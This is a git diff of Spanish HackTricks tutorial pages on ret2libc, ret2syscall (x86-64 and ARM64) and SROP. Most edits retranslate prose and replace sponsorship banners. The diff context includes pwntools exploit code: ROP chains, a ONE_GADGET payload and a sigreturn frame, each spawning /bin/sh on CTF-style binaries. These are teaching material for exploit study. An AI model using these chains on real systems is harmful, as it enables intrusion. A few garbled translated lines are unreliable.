BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@@ -220,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
-Finalmente, la explotación de ejecución de /bin/sh va a ser preparada y enviada:
+Finalmente, se va a preparar el exploit de ejecución de /bin/sh:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@@ -230,26 +231,25 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
-## Explicación del ROP final
+Vamos a explicar este ROP final.\
+El último ROP (`rop1`) terminó llamando nuevamente a la función main, luego podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí de nuevo). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como un parámetro.\
+Finalmente, se **llama** a la **dirección de la función exit** para que el proceso **salga correctamente** y no se genere ninguna alerta.
-El último ROP (`rop1`) terminó llamando nuevamente a la función principal, por lo que podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí nuevamente). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como parámetro.\
-Finalmente, se **llama a la dirección de la función exit** para que el proceso **finalice correctamente** y no se genere ninguna alerta.
-
-**De esta manera, el exploit ejecutará un shell \_/bin/sh**.
+**De esta manera, el exploit ejecutará un \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- Usando ONE\_GADGET
-También podrías usar [**ONE\_GADGET**](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE\_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\
-Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL adicionales para evitar la restricción.
+También podrías usar [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE\_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\
+Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para que se evite la restricción.
![](<../../../../.gitbook/assets/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
-## ARCHIVO DE EXPLOTACIÓN
+## EXPLOIT FILE
Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí:
@@ -267,32 +267,33 @@ objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-y establecer la dirección manualmente:
+y establece la dirección manualmente:
```python
MAIN_PLT = 0x401080
```
### Puts no encontrado
-Si el binario no está utilizando Puts, debes verificar si está utilizando
+Si el binario no está utilizando Puts, deberías verificar si está utilizando
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
+### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
-Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index 9f82eb751..b24f2714f 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,18 +1,19 @@
# Filtrando libc - plantilla
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
@@ -206,25 +207,25 @@ P.interactive() #Interact with your shell :)
## Problemas comunes
-### MAIN_PLT = elf.symbols\['main'] no encontrado
+### MAIN\_PLT = elf.symbols\['main'] no encontrado
-Si el símbolo "main" no existe (probablemente porque es un binario reducido). Entonces simplemente puedes encontrar dónde está el código principal:
+Si el símbolo "main" no existe (probablemente porque es un binario eliminado). Entonces solo puedes encontrar dónde está el código principal:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-y establecer la dirección manualmente:
+y establece la dirección manualmente:
```python
MAIN_PLT = 0x401080
```
### Puts no encontrado
-Si el binario no está utilizando Puts, debes **verificar si está utilizando**
+Si el binario no está utilizando Puts, deberías **verificar si está utilizando**
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
+### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
-Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
```python
@@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 2f4771d35..cb4c07bec 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -1,39 +1,40 @@
# Ret2syscall
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall `sys_execve` con algunos argumentos para ejecutar `/bin/sh`. Esta técnica generalmente se realiza en binarios compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall.
+Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall `sys_execve` con algunos argumentos para ejecutar `/bin/sh`. Esta técnica se realiza generalmente en binarios que están compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall.
Para preparar la llamada a la **syscall** se necesita la siguiente configuración:
-* `rax: 59 Especifica sys_execve`
-* `rdi: ptr a "/bin/sh" especifica el archivo a ejecutar`
-* `rsi: 0 especifica que no se pasan argumentos`
-* `rdx: 0 especifica que no se pasan variables de entorno`
+* `rax: 59 Especificar sys_execve`
+* `rdi: ptr a "/bin/sh" especificar archivo a ejecutar`
+* `rsi: 0 especificar que no se pasan argumentos`
+* `rdx: 0 especificar que no se pasan variables de entorno`
-Por lo tanto, básicamente es necesario escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (siendo conscientes del relleno necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida.
+Así que, básicamente, se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (teniendo en cuenta el padding necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida.
{% hint style="success" %}
Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
-## Gadgets de registros
+## Gadgets de Registro
-Comencemos encontrando **cómo controlar esos registros**:
+Comencemos por encontrar **cómo controlar esos registros**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@@ -47,7 +48,7 @@ Con estas direcciones es posible **escribir el contenido en la pila y cargarlo e
### Memoria escribible
-Primero necesitas encontrar un lugar escribible en la memoria
+Primero necesitas encontrar un lugar escribible en la memoria.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@@ -56,16 +57,16 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
-### Escribir una cadena en la memoria
+### Escribir cadena en memoria
-Entonces necesitas encontrar una forma de escribir contenido arbitrario en esta dirección
+Luego necesitas encontrar una manera de escribir contenido arbitrario en esta dirección.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
-### Automatizar cadena ROP
+### Automatizar la cadena ROP
-El siguiente comando crea una cadena ROP completa de `sys_execve` dado un binario estático cuando hay gadgets de escribir-dónde-qué y instrucciones de llamada al sistema:
+El siguiente comando crea una cadena ROP completa `sys_execve` dada una binario estático cuando hay gadgets de write-what-where e instrucciones de syscall:
```bash
ROPgadget --binary vuln --ropchain
```
@@ -91,8 +92,6 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
-#### 64 bits
-
#### 64 bits
```python
'''
@@ -109,13 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
-## Gadgets Faltantes
+## Falta de Gadgets
-Si te faltan **gadgets**, por ejemplo para escribir `/bin/sh` en la memoria, puedes usar la técnica **SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila:
+Si te **faltan gadgets**, por ejemplo para escribir `/bin/sh` en memoria, puedes usar la **técnica SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila:
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
+
+## Ejemplo de Exploit
```python
from pwn import *
@@ -190,3 +191,18 @@ target.interactive()
* 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 7a84c836d..f8fec2249 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -1,18 +1,19 @@
# Ret2syscall - ARM64
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
Encuentra una introducción a arm64 en:
@@ -22,7 +23,7 @@ Encuentra una introducción a arm64 en:
## Código
-Vamos a utilizar el ejemplo de la página:
+Vamos a usar el ejemplo de la página:
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
@@ -45,18 +46,18 @@ vulnerable_function();
return 0;
}
```
-Compilar sin pie y canary:
+Compilar sin pie y canario:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
-Para preparar la llamada al **syscall** se necesita la siguiente configuración:
+Para preparar la llamada para el **syscall** se necesita la siguiente configuración:
-- `x8: 221 Especificar sys_execve`
-- `x0: ptr a "/bin/sh" especificar archivo a ejecutar`
-- `x1: 0 especificar que no se pasan argumentos`
-- `x2: 0 especificar que no se pasan variables de entorno`
+* `x8: 221 Especificar sys_execve`
+* `x0: ptr a "/bin/sh" especificar archivo a ejecutar`
+* `x1: 0 especificar que no se pasan argumentos`
+* `x2: 0 especificar que no se pasan variables de entorno`
Usando ROPgadget.py pude localizar los siguientes gadgets en la biblioteca libc de la máquina:
@@ -79,13 +80,13 @@ svc #0
```
{% endcode %}
-Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget y llamar al syscall.
+Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall.
{% hint style="success" %}
-Ten en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero vamos a usarlo para este ejemplo actual.
+Ten en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual.
{% endhint %}
-### Explotar
+### Exploit
```python
from pwn import *
@@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 2ff2f1ab2..559c09b38 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,38 +1,39 @@
-# SROP - Programación Orientada a Sigreturn
+# SROP - Programación Orientada a la Señal
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-**`Sigreturn`** es una **llamada al sistema** especial que se utiliza principalmente para limpiar después de que un manejador de señales haya completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar las señales.
+**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
-Después de que el manejador de señales termina, el programa necesita **resumir su estado anterior** como si nada hubiera pasado. Aquí es donde entra en juego **`sigreturn`**. Ayuda al programa a **regresar desde el manejador de señales** y restaura el estado del programa limpiando el marco de la pila (la sección de memoria que almacena las llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
+Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
{% hint style="danger" %}
-Llamar a la llamada al sistema **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargue en la **pila** es posible **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la llamada al sistema `execve` con `/bin/sh`.
+Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
{% endhint %}
-Observa cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
+Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
-Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila para luego recuperar los valores (diagrama de [**aquí**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
+Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila para recuperar más tarde los valores (diagrama de [**aquí**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -68,13 +69,13 @@ Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila
| __reserved | sigmask |
+--------------------+--------------------+
```
-Para obtener una mejor explicación, consulta también:
+Para una mejor explicación, consulta también:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Ejemplo
-Puedes [**encontrar un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) donde la llamada a signeturn se construye a través de ROP (colocando en rxa el valor `0xf`), aunque este es el exploit final a partir de allí:
+Puedes [**encontrar un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) donde la llamada a sigreturn se construye a través de ROP (poniendo en rxa el valor `0xf`), aunque este es el exploit final desde allí:
```python
from pwn import *
@@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-Revisa también el [**exploit desde aquí**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) donde el binario ya estaba llamando a `sigreturn` y por lo tanto no es necesario construirlo con un **ROP**:
+Revisa también el [**exploit desde aquí**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) donde el binario ya estaba llamando a `sigreturn` y por lo tanto no es necesario construir eso con un **ROP**:
```python
from pwn import *
@@ -139,12 +140,27 @@ target.interactive()
